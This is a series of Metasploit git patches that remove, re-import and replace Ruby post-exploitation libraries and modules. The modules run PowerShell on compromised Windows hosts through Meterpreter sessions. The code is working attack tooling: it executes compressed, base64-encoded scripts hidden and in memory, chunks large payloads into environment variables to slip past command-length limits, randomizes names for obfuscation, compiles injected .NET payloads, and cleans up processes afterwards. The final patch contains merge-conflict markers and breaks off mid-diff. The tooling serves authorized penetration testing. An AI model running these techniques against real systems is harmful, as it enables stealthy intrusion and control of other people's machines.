-    	def initialize(info = {})
-    		super
-    		register_advanced_options(
-    		[
-    			OptString.new('CERT_PATH', [false, 'Path on host to .pfx fomatted certificate for signing' ]),
-
-    		], self.class)
-    	end
-
-    	def dot_net_compiler(opts = {})
-    		#TODO:
-    		# allow compilation entirely in memory with a b64 encoded product for export without disk access
-    		# Dynamically assign assemblies based on dot_net_code require/includes
-    		# 	Enumerate assemblies available to session, pull requirements, assign accordingly, pass to PS
-
-    		# Critical
-    		dot_net_code = opts[:harness]
-    		if ::File.file?(dot_net_code)
-    			dot_net_code = ::File.read(dot_net_code)
-    			#vprint_good("Read file in #{dot_net_code.encoding.name} encoding")
-    		end
-    		return if dot_net_code.nil? or dot_net_code.empty?
-
-    		# Ensure we're not running ASCII-8bit through powershell
-    		dot_net_code = dot_net_code.force_encoding('ASCII')
-
-    		# Optional
-    		provider = opts[:provider] || 'Microsoft.CSharp.CSharpCodeProvider' # This should also work with 'Microsoft.VisualBasic.VBCodeProvider'
-    		target = opts[:target] # Unless building assemblies in memory only
-    		certificate = opts[:cert] # PFX certificate path
-    		payload = opts[:payload]
-
-    		assemblies = ["mscorlib.dll", "System.dll", "System.Xml.dll", "System.Data.dll", "System.Net.dll"]
-    		if opts[:assemblies]
-    			opts[:assemblies] = opts[:assemblies].split(',').map {|a| agsub(/\s+/,'')} unless opts[:assemblies].is_a?(Array)
-    			assemblies += opts[:assemblies]
-    		end
-    		# 	# Read our code, attempt to find required assemblies
-    		# 	inc_var = provider == 'Microsoft.VisualBasic.VBCodeProvider' ? 'imports' : 'using'
-    		# 	assemblies =+ dot_net_code.split("\n").keep_if {|line| line =~ /^#{inc_var}.*;/i }.map do |dep|
-    		# 		dep[dep.index(/\s/)+1..-2] + '.dll'
-    		# 	end
-    		# end
-    		assemblies = assemblies.uniq.compact
-
-    		compiler_opts = opts[:com_opts] || '/platform:x86 /optimize'
-
-
-    		if payload
-    			dot_net_code = dot_net_code.gsub('MSF_PAYLOAD_SPACE', payload)
-    		end
-
-    		var_gen_exe = target ? '$true' : '$false'
-
-    		# Obfu
-    		var_func = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_code = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_refs = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_provider = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_params = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_output = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_cert = Rex::Text.rand_text_alpha(rand(8)+8)
-
-    		compiler = <<EOS
-function #{var_func} {
-param (
-[string[]] $#{var_code}
-, [string[]] $references = @()
-)
-$#{var_provider} = New-Object #{provider}
-$#{var_params} = New-Object System.CodeDom.Compiler.CompilerParameters
-@( "#{assemblies.join('", "')}", ([System.Reflection.Assembly]::GetAssembly( [PSObject] ).Location) ) | Sort -unique |% { $#{var_params}.ReferencedAssemblies.Add( $_ ) } | Out-Null
-$#{var_params}.GenerateExecutable = #{var_gen_exe}
-$#{var_params}.OutputAssembly = "#{target}"
-$#{var_params}.GenerateInMemory   = $true
-$#{var_params}.CompilerOptions = "#{compiler_opts}"
-# $#{var_params}.IncludeDebugInformation = $true
-$#{var_output} = $#{var_provider}.CompileAssemblyFromSource( $#{var_params}, $#{var_code} )
-if ( $#{var_output}.Errors.Count -gt 0 ) {
-$#{var_output}.Errors |% { Write-Error $_.ToString() }
-} else { return $#{var_output}.CompiledAssembly}
-}
-#{var_func} -#{var_code} @'
-
-#{dot_net_code}
-
-'@
-
-EOS
-
-    		if certificate and target
-    			compiler << <<EOS
-#{var_cert} = Get-PfxCertificate #{certificate}
-Set-AuthenticodeSignature -Filepath #{target} -Cert #{var_cert}
-
-
-EOS
-
-
-    		end
-    		# PS uses .NET 2.0 by default which doesnt work @ present (20120814, RLTM)
-    		# x86 targets also need to be compiled in x86 powershell instance
-    		run_32 = compiler_opts =~ /platform:x86/i ? true : false
-    		if opts[:net_clr] and opts[:net_clr] > 2 # PS before 3.0 natively uses NET 2
-    			return elevate_net_clr(compiler, run_32, opts[:net_clr])
-    		else
-    			return compiler
-    		end
-
-    	end
-
-    	def elevate_net_clr(ps_code, run_32 = false, net_ver = '4.0')
-    		var_func = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_conf_path = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_env_name = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_env_old = Rex::Text.rand_text_alpha(rand(8)+8)
-    		var_run32 = Rex::Text.rand_text_alpha(rand(8)+8)
-
-    		exec_wrapper = <<EOS
-function #{var_func} {
-[CmdletBinding()]
-param (
-[Parameter(Mandatory=$true)]
-[ScriptBlock]
-$ScriptBlock
-)
-$#{var_run32} = $#{run_32.to_s}
-if ($PSVersionTable.CLRVersion.Major -eq #{net_ver.to_i}) {
-Invoke-Command -ScriptBlock $ScriptBlock -ArgumentList $ArgumentList
-return
-}
-$#{var_conf_path} = $Env:TEMP | Join-Path -ChildPath ([Guid]::NewGuid())
-New-Item -Path $#{var_conf_path} -ItemType Container | Out-Null
-@"
-<?xml version="1.0" encoding="utf-8" ?>
-<configuration>
-<startup useLegacyV2RuntimeActivationPolicy="true">
-<supportedRuntime version="v#{net_ver.to_f}"/>
-<supportedRuntime version="v2.0.50727"/>
-</startup>
-</configuration>
-"@ | Set-Content -Path $#{var_conf_path}/powershell.exe.activation_config -Encoding UTF8
-$#{var_env_name} = 'COMPLUS_ApplicationMigrationRuntimeActivationConfigPath'
-$#{var_env_old} = [Environment]::GetEnvironmentVariable($#{var_env_name})
-[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_conf_path})
-try { if ($#{var_run32} -and [IntPtr]::size -eq 8 ) {
-&"$env:windir\\syswow64\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
-} else {
-&"$env:windir\\system32\\windowspowershell\\v1.0\\powershell.exe" -inputformat text -command $ScriptBlock -noninteractive
-}} finally {
-[Environment]::SetEnvironmentVariable($#{var_env_name}, $#{var_env_old})
-$#{var_conf_path} | Remove-Item -Recurse
-}
-}
-#{var_func} -ScriptBlock {
-#{ps_code}
-}
-
-
-EOS
-
-    	end
-
-    end
-  end
-end
diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb
deleted file mode 100644
index b02b4bd55230..000000000000
--- a/lib/msf/core/post/windows/powershell.rb
+++ /dev/null
@@ -1,292 +0,0 @@
-# -*- coding: binary -*-
-require 'msf/core/exploit/powershell'
-require 'msf/core/post/common'
-
-module Msf
-class Post
-module Windows
-
-module Powershell
-	include ::Msf::Exploit::Powershell
-	include ::Msf::Post::Common
-
-	def initialize(info = {})
-		super
-		register_advanced_options(
-			[
-				OptInt.new('PSH::timeout',   [true, 'Powershell execution timeout, set < 0 to run async without termination', 15]),
-				OptBool.new('PSH::log_output', [true, 'Write output to log file', false]),
-				OptBool.new('PSH::dry_run', [true, 'Write output to log file', false]),
-			], self.class)
-	end
-
-	#
-	# Returns true if powershell is installed
-	#
-	def have_powershell?
-		cmd_out = cmd_exec("powershell get-host")
-		return true if cmd_out =~ /Name.*Version.*InstanceID/
-		return false
-	end
-
-	#
-	# Get/compare list of current PS processes - nested execution can spawn many children
-	# doing checks before and after execution allows us to kill more children...
-	# This is a hack, better solutions are welcome since this could kill user
-	# spawned powershell windows created between comparisons.
-	#
-	def get_ps_pids(pids = [])
-		current_pids = session.sys.process.get_processes.keep_if {|p|
-			p['name'].downcase == 'powershell.exe'
-		}.map {|p| p['pid']}
-		# Subtract previously known pids
-		current_pids = (current_pids - pids).uniq
-		return current_pids
-	end
-
-	#
-	# Execute a powershell script and return the output, channels, and pids. The script
-	# is never written to disk.
-	#
-	def execute_script(script, greedy_kill = false)
-		@session_pids ||= []
-		running_pids = greedy_kill ? get_ps_pids : []
-		open_channels = []
-		# Execute using -EncodedCommand
-		session.response_timeout = datastore['PSH::timeout'].to_i
-		ps_bin = datastore['RUN_WOW64'] ? '%windir%\syswow64\WindowsPowerShell\v1.0\powershell.exe' : 'powershell.exe'
-		ps_string = "#{ps_bin} -EncodedCommand #{script} -InputFormat None"
-		# vprint_good("EXECUTING:\n#{ps_string}")
-		cmd_out = session.sys.process.execute(ps_string, nil, {'Hidden' => true, 'Channelized' => true})
-
-		# Subtract prior PIDs from current
-		if greedy_kill
-			Rex::ThreadSafe.sleep(3) # Let PS start child procs
-			running_pids = get_ps_pids(running_pids)
-		end
-
-		# Add to list of running processes
-		running_pids << cmd_out.pid
-
-		# All pids start here, so store them in a class variable
-		(@session_pids += running_pids).uniq!
-
-		# Add to list of open channels
-		open_channels << cmd_out
-
-		return [cmd_out, running_pids.uniq, open_channels]
-	end
-
-
-	#
-	# Powershell scripts that are longer than 8000 bytes are split into 8000
-	# 8000 byte chunks and stored as environment variables. A new powershell
-	# script is built that will reassemble the chunks and execute the script.
-	# Returns the reassembly script.
-	#
-	def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
-
-		# Check to ensure script is encoded and compressed
-		if compressed_script =~ /\s|\.|\;/
-			compressed_script = compress_script(compressed_script)
-		end
-		# Divide the encoded script into 8000 byte chunks and iterate
-		index = 0
-		count = 8000
-		while (index < compressed_script.size - 1)
-			# Define random, but serialized variable name
-			env_prefix = "%05d" % ((index + 8000)/8000)
-			env_variable = env_prefix + env_suffix
-
-			# Create chunk
-			chunk = compressed_script[index, count]
-
-			# Build the set commands
-			set_env_variable =  "[Environment]::SetEnvironmentVariable("
-			set_env_variable += "'#{env_variable}',"
-			set_env_variable += "'#{chunk}', 'User')"
-
-			# Compress and encode the set command
-			encoded_stager = compress_script(set_env_variable)
-
-			# Stage the payload
-			print_good(" - Bytes remaining: #{compressed_script.size - index}")
-			cmd_out, running_pids, open_channels = execute_script(encoded_stager, false)
-			# Increment index
-			index += count
-
-		end
-
-		# Build the script reassembler
-		reassemble_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
-		reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
-		reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
-		reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
-		reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
-
-		# Compress and encode the reassemble command
-		encoded_script = compress_script(reassemble_command)
-
-		return encoded_script
-	end
-
-	#
-	# Reads output of the command channel and empties the buffer.
-	# Will optionally log command output to disk.
-	#
-	def get_ps_output(cmd_out, eof, read_wait = 5)
-		results = ''
-
-		if datastore['PSH::log_output']
-			# Get target's computer name
-			computer_name = session.sys.config.sysinfo['Computer']
-
-			# Create unique log directory
-			log_dir = ::File.join(Msf::Config.log_directory,'scripts','powershell', computer_name)
-			::FileUtils.mkdir_p(log_dir)
-
-			# Define log filename
-			time_stamp  = ::Time.now.strftime('%Y%m%d:%H%M%S')
-			log_file    = ::File.join(log_dir,"#{time_stamp}.txt")
-
-
-			# Open log file for writing
-			fd = ::File.new(log_file, 'w+')
-		end
-
-		# Read output until eof or nil return output and write to log
-		while (1)
-			line = ::Timeout.timeout(read_wait) {
-				cmd_out.channel.read
-			} rescue nil
-			break if line.nil?
-			if (line.sub!(/#{eof}/, ''))
-				results << line
-				fd.write(line) if fd
-				#vprint_good("\t#{line}")
-				break
-			end
-			results << line
-			fd.write(line) if fd
-			#vprint_status("\n#{line}")
-		end
-
-		# Close log file
-		# cmd_out.channel.close()
-		fd.close() if fd
-
-		return results
-
-		#
-		# Incremental read method - NOT USED
-		#
-		# read_data = ''
-		# 	segment = 2**16
-		# 	# Read incrementally smaller blocks after each failure/timeout
-		# 	while segment > 0 do
-		# 		begin
-		# 			read_data << ::Timeout.timeout(read_wait) {
-		# 				cmd_out.channel.read(segment)
-		# 			}
-		# 		rescue
-		# 			segment = segment/2
-		# 		end
-		# 	end
-	end
-
-	#
-	# Clean up powershell script including process and chunks stored in environment variables
-	#
-	def clean_up(
-		script_file = nil,
-		eof = '',
-		running_pids =[],
-		open_channels = [],
-		env_suffix = Rex::Text.rand_text_alpha(8),
-		delete = false
-	)
-		# Remove environment variables
-		env_del_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
-		env_del_command += "Select-String #{env_suffix}|%{"
-		env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
-
-		script = compress_script(env_del_command, eof)
-		cmd_out, new_running_pids, new_open_channels = execute_script(script)
-		get_ps_output(cmd_out, eof)
-
-		# Kill running processes, should mutex this...
-		@session_pids = (@session_pids + running_pids + new_running_pids).uniq
-		(running_pids + new_running_pids).uniq.each do |pid|
-			begin
-				session.sys.process.kill(pid)
-				@session_pids.delete(pid)
-			rescue Rex::Post::Meterpreter::RequestError => e
-				print_error "Failed to kill #{pid} due to #{e}"
-			end
-		end
-
-
-		# Close open channels
-		(open_channels + new_open_channels).uniq.each do |chan|
-			chan.channel.close
-		end
-
-		::File.delete(script_file) if (script_file and delete)
-
-		return
-	end
-
-	#
-	# Simple script execution wrapper, performs all steps
-	# required to execute a string of powershell.
-	# This method will try to kill all powershell.exe PIDs
-	# which appeared during its execution, set greedy_kill
-	# to false if this is not desired.
-	#
-	def psh_exec(script, greedy_kill=true, ps_cleanup=true)
-		# Define vars
-		eof = Rex::Text.rand_text_alpha(8)
-		# eof = "THIS__SCRIPT_HAS__COMPLETED_EXECUTION#{rand(100)}"
-		env_suffix = Rex::Text.rand_text_alpha(8)
-		script = PshScript.new(script) unless script.respond_to?(:compress_code)
-		# Check format
-		if script =~ /\s|\.|\;/
-			script = compress_script(script, eof)
-		end
-		if datastore['PSH::dry_run']
-			return "powershell -EncodedCommand #{script}"
-		else
-			# Check 8k cmd buffer limit, stage if needed
-			if (script.size > 8100)
-				vprint_error("Compressed size: #{script.size}")
-				error_msg =  "Compressed size may cause command to exceed "
-				error_msg += "cmd.exe's 8kB character limit."
-				vprint_error(error_msg)
-				vprint_good('Launching stager:')
-				script = stage_to_env(script, env_suffix)
-				print_good("Payload successfully staged.")
-			else
-				print_good("Compressed size: #{script.size}")
-			end
-			# Execute the script, get the output, and kill the resulting PIDs
-			cmd_out, running_pids, open_channels = execute_script(script, greedy_kill)
-			if datastore['PSH::timeout'].to_i < 0
-				out =  'Started async execution, output collection and cleanup will not be performed'
-				print_error out
-				return out
-			end
-			ps_output = get_ps_output(cmd_out,eof,datastore['PSH::timeout'])
-			# Kill off the resulting processes if needed
-			if ps_cleanup
-				vprint_good( "Cleaning up #{running_pids.join(', ')}" )
-				clean_up(nil, eof, running_pids, open_channels, env_suffix, false)
-			end
-			return ps_output
-		end
-	end
-
-end
-end
-end
-end
-
diff --git a/modules/post/windows/manage/powershell/exec_cmd.rb b/modules/post/windows/manage/powershell/exec_cmd.rb
deleted file mode 100644
index 08a491e160a7..000000000000
--- a/modules/post/windows/manage/powershell/exec_cmd.rb
+++ /dev/null
@@ -1,77 +0,0 @@
-##
-# This file is part of the Metasploit Framework and may be subject to
-# redistribution and commercial restrictions. Please see the Metasploit
-# Framework web site for more information on licensing and terms of use.
-#   http://metasploit.com/framework/
-##
-
-##
-# Original script comments by nick[at]executionflow.org:
-# Meterpreter script to deliver and execute powershell scripts using
-# a compression/encoding method based on the powershell PoC code
-# from rel1k and winfang98 at DEF CON 18. This script furthers the
-# idea by bypassing Windows' command character lmits, allowing the
-# execution of very large scripts. No files are ever written to disk.
-##
-require 'msf/core'
-require 'rex'
-require 'msf/core/post/windows/powershell'
-
-class Metasploit3 < Msf::Post
-	include Msf::Post::Windows::Powershell
-
-	def initialize(info={})
-		super(update_info(info,
-			'Name'                 => "Powershell: Execute Command",
-			'Description'          => %q{
-				This module will execute a string of Powershell and return output.
-			},
-			'License'              => MSF_LICENSE,
-			'Platform'             => ['win'],
-			'SessionTypes'         => ['meterpreter'],
-			'Author'               => [
-				'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
-				'RageLtMan' # post module
-				]
-		))
-
-		register_options(
-			[
-				OptString.new( 'PSH_CMD',  [true, 'Powershell string to execute', "echo 'metasploited'"]),
-			], self.class)
-
-		register_advanced_options(
-			[
-				OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
-			], self.class)
-
-	end
-
-	def run
-
-		# Make sure we meet the requirements before running the script, note no need to return
-		# unless error
-		return 0 if ! (session.type == "meterpreter" || have_powershell?)
-
-		# check/set vars
-		subs = process_subs(datastore['SUBSTITUTIONS'])
-		script_in = read_script(datastore['PSH_CMD'])
-
-		# Make substitutions in script if needed
-		script_in = make_subs(script_in, subs) unless subs.empty?
- 		print_status(script_in)
-		print_status(script_in.dup.compress_code)
-
-		# Execute the powershell script
-		print_status('Executing the script.')
-
-		ps_output = psh_exec(script_in)
-
-		print_status ps_output
-
-		# That's it
-		print_good('Finished!')
-	end
-
-end
-
diff --git a/modules/post/windows/manage/powershell/exec_script.rb b/modules/post/windows/manage/powershell/exec_script.rb
deleted file mode 100644
index ecbab8a9fc52..000000000000
--- a/modules/post/windows/manage/powershell/exec_script.rb
+++ /dev/null
@@ -1,90 +0,0 @@
-##
-# This file is part of the Metasploit Framework and may be subject to
-# redistribution and commercial restrictions. Please see the Metasploit
-# Framework web site for more information on licensing and terms of use.
-#   http://metasploit.com/framework/
-##
-
-##
-# Original script comments by nick[at]executionflow.org:
-# Meterpreter script to deliver and execute powershell scripts using
-# a compression/encoding method based on the powershell PoC code
-# from rel1k and winfang98 at DEF CON 18. This script furthers the
-# idea by bypassing Windows' command character lmits, allowing the
-# execution of very large scripts. No files are ever written to disk.
-##
-
-##
-# Since the original port to Metasploit, the implementation has grown
-# to include partial PSH syntax parsing, gzip compression, rex, msf,
-# and post modules providing various layers of functionality and
-# convenience methods.
-##
-
-require 'msf/core'
-require 'rex'
-require 'msf/core/post/windows/powershell'
-
-class Metasploit3 < Msf::Post
-	include Msf::Post::Windows::Powershell
-
-	def initialize(info={})
-		super(update_info(info,
-      'Name'                 => "Powershell: Execute Command",
-      'Description'          => %q{
-        This module will execute a Powershell script and return output
-			},
-			'License'              => MSF_LICENSE,
-			'Platform'             => ['win'],
-			'SessionTypes'         => ['meterpreter'],
-			'Author'               => [
-				'Nicholas Nam (nick[at]executionflow.org)', # original meterpreter script
-				'RageLtMan' # post module
-				]
-		))
-
-		register_options(
-			[
-				OptPath.new( 'SCRIPT',  [true, 'Path to the PS script', ::File.join(Msf::Config.install_root, "scripts", "ps", "msflag.ps1") ]),
-				OptString.new( 'PSH_CMD', [false, 'Powershell to execute after the script']),
-			], self.class)
-
-		register_advanced_options(
-			[
-				OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
-				OptBool.new(  'DELETE',        [false, 'Delete file after execution', false ]),
-			], self.class)
-
-	end
-
-	def run
-
-		# Make sure we meet the requirements before running the script, note no need to return
-		# unless error
-		return 0 if ! (session.type == "meterpreter" || have_powershell?)
-
-		# check/set vars
-		subs = process_subs(datastore['SUBSTITUTIONS'])
-		script_in = read_script(datastore['SCRIPT'])
-		if datastore['PSH_CMD']
-			script_in = read_script(script_in + "\n#{datastore['PSH_CMD']}")
-		end
-		
-
-		# Make substitutions in script if needed
-		script_in = make_subs(script_in, subs) unless subs.empty?
-		vprint_status(script_in)
-
-		# Execute the powershell script
-		print_status('Executing the script.')
-
-		ps_output = psh_exec(script_in)
-
-		print_good ps_output
-
-		# That's it
-		print_good('Finished!')
-	end
-
-end
-

From 9d93891395a8a52d16b5637fe1fe575b4c396d80 Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Sat, 20 Jul 2013 19:32:38 -0400
Subject: [PATCH 005/108] Import old powershell post lib from master

This is temporary and rather messy. Since the internals for
dealing with PSH code have moved to Rex there may be a hiccup or
two here. This was my original attempt at basic PSH integration
and does not make use of the new libraries and namespaces in
this PR.

Will introduce the updated modules and libraries in separate PR.
---
 lib/msf/core/post/windows/powershell.rb | 243 ++++++++++++++++++++++++
 1 file changed, 243 insertions(+)
 create mode 100644 lib/msf/core/post/windows/powershell.rb

diff --git a/lib/msf/core/post/windows/powershell.rb b/lib/msf/core/post/windows/powershell.rb
new file mode 100644
index 000000000000..405b35e8f652
--- /dev/null
+++ b/lib/msf/core/post/windows/powershell.rb
@@ -0,0 +1,243 @@
+# -*- coding: binary -*-
+require 'zlib'
+require 'msf/core/post/common'
+
+module Msf
+class Post
+module Windows
+
+module Powershell
+	include ::Msf::Post::Common
+
+
+	# List of running processes, open channels, and env variables...
+
+
+	# Suffix for environment variables
+
+	#
+	# Returns true if powershell is installed
+	#
+	def have_powershell?
+		cmd_out = cmd_exec("powershell get-host")
+		return true if cmd_out =~ /Name.*Version.*InstanceID/
+		return false
+	end
+
+	#
+	# Insert substitutions into the powershell script
+	#
+	def make_subs(script, subs)
+		subs.each do |set|
+			script.gsub!(set[0],set[1])
+		end
+		if datastore['VERBOSE']
+			print_good("Final Script: ")
+			script.each_line {|l| print_status("\t#{l}")}
+		end
+	end
+
+	#
+	# Return an array of substitutions for use in make_subs
+	#
+	def process_subs(subs)
+		return [] if subs.nil? or subs.empty?
+		new_subs = []
+		subs.split(';').each do |set|
+			new_subs << set.split(',', 2)
+		end
+		return new_subs
+	end
+
+	#
+	# Read in a powershell script stored in +script+
+	#
+	def read_script(script)
+		script_in = ''
+		begin
+			# Open script file for reading
+			fd = ::File.new(script, 'r')
+			while (line = fd.gets)
+				script_in << line
+			end
+
+			# Close open file
+			fd.close()
+		rescue Errno::ENAMETOOLONG, Errno::ENOENT
+			# Treat script as a... script
+			script_in = script
+		end
+		return script_in
+	end
+
+
+	#
+	# Return a zlib compressed powershell script
+	#
+	def compress_script(script_in, eof = nil)
+
+		# Compress using the Deflate algorithm
+		compressed_stream = ::Zlib::Deflate.deflate(script_in,
+			::Zlib::BEST_COMPRESSION)
+
+		# Base64 encode the compressed file contents
+		encoded_stream = Rex::Text.encode_base64(compressed_stream)
+
+		# Build the powershell expression
+		# Decode base64 encoded command and create a stream object
+		psh_expression =  "$stream = New-Object IO.MemoryStream(,"
+		psh_expression += "$([Convert]::FromBase64String('#{encoded_stream}')));"
+		# Read & delete the first two bytes due to incompatibility with MS
+		psh_expression += "$stream.ReadByte()|Out-Null;"
+		psh_expression += "$stream.ReadByte()|Out-Null;"
+		# Uncompress and invoke the expression (execute)
+		psh_expression += "$(Invoke-Expression $(New-Object IO.StreamReader("
+		psh_expression += "$(New-Object IO.Compression.DeflateStream("
+		psh_expression += "$stream,"
+		psh_expression += "[IO.Compression.CompressionMode]::Decompress)),"
+		psh_expression += "[Text.Encoding]::ASCII)).ReadToEnd());"
+
+		# If eof is set, add a marker to signify end of script output
+		if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end
+
+		# Convert expression to unicode
+		unicode_expression = Rex::Text.to_unicode(psh_expression)
+
+		# Base64 encode the unicode expression
+		encoded_expression = Rex::Text.encode_base64(unicode_expression)
+
+		return encoded_expression
+	end
+
+	#
+	# Execute a powershell script and return the results. The script is never written
+	# to disk.
+	#
+	def execute_script(script, time_out = 15)
+		running_pids, open_channels = [], []
+		# Execute using -EncodedCommand
+		session.response_timeout = time_out
+		cmd_out = session.sys.process.execute("powershell -EncodedCommand " +
+			"#{script}", nil, {'Hidden' => true, 'Channelized' => true})
+
+		# Add to list of running processes
+		running_pids << cmd_out.pid
+
+		# Add to list of open channels
+		open_channels << cmd_out
+
+		return [cmd_out, running_pids, open_channels]
+	end
+
+
+	#
+	# Powershell scripts that are longer than 8000 bytes are split into 8000
+	# 8000 byte chunks and stored as environment variables. A new powershell
+	# script is built that will reassemble the chunks and execute the script.
+	# Returns the reassembly script.
+	#
+	def stage_to_env(compressed_script, env_suffix = Rex::Text.rand_text_alpha(8))
+
+		# Check to ensure script is encoded and compressed
+		if compressed_script =~ /\s|\.|\;/
+			compressed_script = compress_script(compressed_script)
+		end
+		# Divide the encoded script into 8000 byte chunks and iterate
+		index = 0
+		count = 8000
+		while (index < compressed_script.size - 1)
+			# Define random, but serialized variable name
+			env_prefix = "%05d" % ((index + 8000)/8000)
+			env_variable = env_prefix + env_suffix
+
+			# Create chunk
+			chunk = compressed_script[index, count]
+
+			# Build the set commands
+			set_env_variable =  "[Environment]::SetEnvironmentVariable("
+			set_env_variable += "'#{env_variable}',"
+			set_env_variable += "'#{chunk}', 'User')"
+
+			# Compress and encode the set command
+			encoded_stager = compress_script(set_env_variable)
+
+			# Stage the payload
+			print_good(" - Bytes remaining: #{compressed_script.size - index}")
+			execute_script(encoded_stager)
+
+			# Increment index
+			index += count
+
+		end
+
+		# Build the script reassembler
+		reassemble_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
+		reassemble_command += "Select-String #{env_suffix}|Sort-Object|%{"
+		reassemble_command += "$c+=[Environment]::GetEnvironmentVariable($_,'User')"
+		reassemble_command += "};Invoke-Expression $($([Text.Encoding]::Unicode."
+		reassemble_command += "GetString($([Convert]::FromBase64String($c)))))"
+
+		# Compress and encode the reassemble command
+		encoded_script = compress_script(reassemble_command)
+
+		return encoded_script
+	end
+
+	#
+	# Log the results of the powershell script
+	#
+	def write_to_log(cmd_out, log_file, eof)
+		# Open log file for writing
+		fd = ::File.new(log_file, 'w+')
+
+		# Read output until eof and write to log
+		while (line = cmd_out.channel.read())
+			if (line.sub!(/#{eof}/, ''))
+				fd.write(line)
+				vprint_good("\t#{line}")
+				cmd_out.channel.close()
+				break
+			end
+			fd.write(line)
+			vprint_good("\t#{line}")
+		end
+
+		# Close log file
+		fd.close()
+
+		return
+	end
+
+	#
+	# Clean up powershell script including process and chunks stored in environment variables
+	#
+	def clean_up(script_file = nil, eof = '', running_pids =[], open_channels = [], env_suffix = Rex::Text.rand_text_alpha(8), delete = false)
+		# Remove environment variables
+		env_del_command =  "[Environment]::GetEnvironmentVariables('User').keys|"
+		env_del_command += "Select-String #{env_suffix}|%{"
+		env_del_command += "[Environment]::SetEnvironmentVariable($_,$null,'User')}"
+		script = compress_script(env_del_command, eof)
+		cmd_out, running_pids, open_channels = *execute_script(script)
+		write_to_log(cmd_out, "/dev/null", eof)
+
+		# Kill running processes
+		running_pids.each() do |pid|
+			session.sys.process.kill(pid)
+		end
+
+
+		# Close open channels
+		open_channels.each() do |chan|
+			chan.channel.close()
+		end
+
+		::File.delete(script_file) if (script_file and delete)
+
+		return
+	end
+
+end
+end
+end
+end
+

From 4df3b0215c6d69fcd8d87238a41edbb20777544a Mon Sep 17 00:00:00 2001
From: RageLtMan <rageltman [at] sempervictus>
Date: Sat, 20 Jul 2013 19:55:01 -0400
Subject: [PATCH 006/108] replace lib/msf/core/exploit/powershell.rb, thanks
 @Meatballs1

---
 lib/msf/core/exploit/powershell.rb | 467 +++++++++++------------------
 1 file changed, 170 insertions(+), 297 deletions(-)

diff --git a/lib/msf/core/exploit/powershell.rb b/lib/msf/core/exploit/powershell.rb
index 909d32ba9a67..5539f5c8f4a0 100644
--- a/lib/msf/core/exploit/powershell.rb
+++ b/lib/msf/core/exploit/powershell.rb
@@ -1,175 +1,87 @@
 # -*- coding: binary -*-
-<<<<<<< HEAD
 require 'rex/exploitation/powershell'
-=======
-require 'zlib'
->>>>>>> master
 
 module Msf
 module Exploit::Powershell
 
-<<<<<<< HEAD
-	class PshScript < Rex::Exploitation::Powershell::Script
-	end
-
-	def initialize(info = {})
-		super
-		register_advanced_options(
-			[
-				OptBool.new('RUN_WOW64', [
-					false,
-					'Execute powershell in 32bit compatibility mode, payloads need native arch',
-					false
-						]),
-				OptBool.new('PSH::strip_comments', [false, 'Strip comments', true]),
-				OptBool.new('PSH::strip_whitespace', [false, 'Strip whitespace', false]),
-				OptBool.new('PSH::sub_vars', [false, 'Substitute variable names', false]),
-				OptBool.new('PSH::sub_funcs', [false, 'Substitute function names', false]),
-=======
-	def initialize(info = {})
-		super
-		register_options(
-		[
-				OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]),
-				OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]),
-				OptBool.new('RUN_WOW64', [
-					true,
-					'Execute powershell in 32bit compatibility mode, payloads need native arch',
-					false
-						]),
->>>>>>> master
-			], self.class)
-	end
-
-	#
-<<<<<<< HEAD
-	# Reads script into a PshScript
-	#
-	def read_script(script)
-		return PshScript.new(script)
-	end
-
-	#
-=======
->>>>>>> master
-	# Insert substitutions into the powershell script
-	#
-	def make_subs(script, subs)
-		if ::File.file?(script)
-			script = ::File.read(script)
-		end
-
-		subs.each do |set|
-			script.gsub!(set[0],set[1])
-		end
-<<<<<<< HEAD
-		# if datastore['VERBOSE']
-		#   print_good("Final Script: ")
-		#   script.each_line {|l| print_status("\t#{l}")}
-		# end
-=======
-		if datastore['VERBOSE']
-			print_good("Final Script: ")
-			script.each_line {|l| print_status("\t#{l}")}
-		end
->>>>>>> master
-		return script
-	end
-
-	#
-	# Return an array of substitutions for use in make_subs
-	#
-	def process_subs(subs)
-		return [] if subs.nil? or subs.empty?
-		new_subs = []
-		subs.split(';').each do |set|
-			new_subs << set.split(',', 2)
-		end
-		return new_subs
-	end
-
-	#
-<<<<<<< HEAD
-	# Return a gzip compressed powershell script
-	# Will invoke PSH modifiers as enabled
-	#
-	def compress_script(script_in, eof = nil)
-		# Build script object
-		psh = PshScript.new(script_in)
-		# Invoke enabled modifiers
-		datastore.select {|k,v| k =~ /^PSH::(strip|sub)/ and v == 'true' }.keys.map do |k|
-			mod_method = k.split('::').last.intern
-			psh.send(mod_method)
-		end
-		return psh.compress_code(eof)
-=======
-	# Read in a powershell script stored in +script+
-	#
-	def read_script(script)
-		script_in = ''
-		begin
-			# Open script file for reading
-			fd = ::File.new(script, 'r')
-			while (line = fd.gets)
-				script_in << line
-			end
-
-			# Close open file
-			fd.close()
